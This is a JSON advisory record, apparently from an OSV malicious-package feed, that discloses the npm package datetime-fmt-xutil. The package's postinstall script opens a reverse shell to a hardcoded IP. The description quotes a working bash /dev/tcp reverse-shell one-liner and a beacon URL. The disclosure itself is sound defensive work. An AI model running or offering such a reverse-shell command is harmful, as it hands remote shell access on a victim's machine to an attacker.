{"id":"MAL-2026-13935","revision":"bea2557041a44d7086625155edbf7dcd","records":[{"revision":"bea2557041a44d7086625155edbf7dcd","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-13935","aliases":[],"title":"Malicious code in datetime-fmt-xutil (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997)\nThe npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (`bash -i >& /dev/tcp/8.135.48.40/4444 0>&1`) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.\n","state":0,"publishedAt":"2026-08-13T14:59:12+00:00","modifiedAt":"2026-08-13T15:30:14.6206139+00:00","affected":[{"ecosystem":"npm","name":"datetime-fmt-xutil","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/datetime-fmt-xutil/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-13935","license":"OSV · upstream source license applies","key":"osv:MAL-2026-13935","identifiers":["MAL-2026-13935"]},"retained":false,"historicalAffected":[]}],"coverage":[]}